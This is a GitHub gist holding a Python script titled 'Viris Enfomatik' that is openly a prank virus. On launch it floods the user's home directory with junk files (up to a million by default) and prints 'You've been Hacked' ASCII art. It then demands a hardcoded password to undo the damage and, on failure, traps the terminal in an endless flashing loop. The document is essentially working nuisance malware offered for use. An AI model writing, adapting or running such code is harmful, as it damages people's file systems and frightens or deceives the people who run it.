Skip to content

Instantly share code, notes, and snippets.

@midsonlajeanty
Created July 8, 2022 12:14
Show Gist options
  • Save midsonlajeanty/d26bb947e0d7ec1f0e4d2342f9261567 to your computer and use it in GitHub Desktop.
Save midsonlajeanty/d26bb947e0d7ec1f0e4d2342f9261567 to your computer and use it in GitHub Desktop.
Viris Enfomatik
import os
from sys import platform
from os import environ
import time
OS = platform
USER = environ['USERNAME']
PASSWORD = "1234"
MESSAGE = """
# # ##### # #
# # # # # #
##### # # # #
# # # # #
##### ##### #####
# # ##### # # #####
# # # # # # #
##### ##### # # ###
# # # # # # #
# # # # # #####
#### ##### ##### # #
# # # # ## #
#### ### ### # # #
# # # # # ##
#### ##### ##### # #
# # ##### #### # # ##### #### #
# # # # # # # # # # #
##### ##### # ### ### # # #
# # # # # # # # # #
# # # # #### # # ##### #### #
"""
if OS == 'linux' or OS == 'darwin':
DIR_SEP = '/'
ROOT = f"{DIR_SEP}home{DIR_SEP + USER + DIR_SEP}"
else:
DIR_SEP = '\\'
ROOT = f"C:{DIR_SEP}Users{DIR_SEP + USER + DIR_SEP}"
def is_hacked():
try:
open(f'{ROOT}virus.txt')
return True
except FileNotFoundError:
return False
def print_info(*mes: str):
m = '\033[36;1m'
for el in mes:
m += el
m += '\033[00m'
print(m)
def print_error(*mes: str):
m = '\033[31;1m'
for el in mes:
m += el
m += '\033[00m'
print(m)
def print_succes(*mes: str):
m = '\033[32;1m'
for el in mes:
m += el
m += '\033[00m'
print(m)
def print_confuse_message():
i = 30
while True:
print(f"\033[{i};1mYou've been Hacked !\033[00m", end='\t')
i = i + 1 if i < 40 else 30
def set_message_to_telegram_file():
try:
f = open(f'{ROOT}telegram{DIR_SEP}rescue.txt')
x = int(f.read().split(",")[:-1][-1])
except FileNotFoundError:
x = 0
os.mkdir(f'{ROOT}telegram')
finally:
with open(f'{ROOT}telegram{DIR_SEP}rescue.txt', 'a') as f:
f.write(f'{x+1},')
def infect(damage: int = 1000000):
open(f"{ROOT}virus.txt", "w").write(str(damage))
for i in range(damage):
with open(f"{ROOT}filename-{i}.txt", "w") as f:
f.write("You've been Hacked !")
print_error(MESSAGE)
def disinfect():
try:
dammage = int(open(f'{ROOT}virus.txt').read())
except FileNotFoundError:
print_info('Your device was\'nt infected !!!')
if 'dammage' in locals():
for i in range(dammage):
os.remove(f'{ROOT}filename-{i}.txt')
os.remove(f'{ROOT}virus.txt')
set_message_to_telegram_file()
print_succes('Your device is Safe !!!')
print_info(str(dammage), ' Files deleted !!!')
def disinfector():
trial = 3
action = input("Do you want to disinfect your device ? (y/n) ")
if action == "y" or action == "Y":
while trial > 0:
password = input("Enter your password: ")
if password == PASSWORD:
disinfect()
break
else:
print("Wrong password !!! Try again.")
trial -= 1
print_confuse_message() if trial == 0 else print()
else:
print_confuse_message()
# Main
def main():
if is_hacked():
disinfector()
else:
infect(damage=10)
time.sleep(5)
disinfector()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment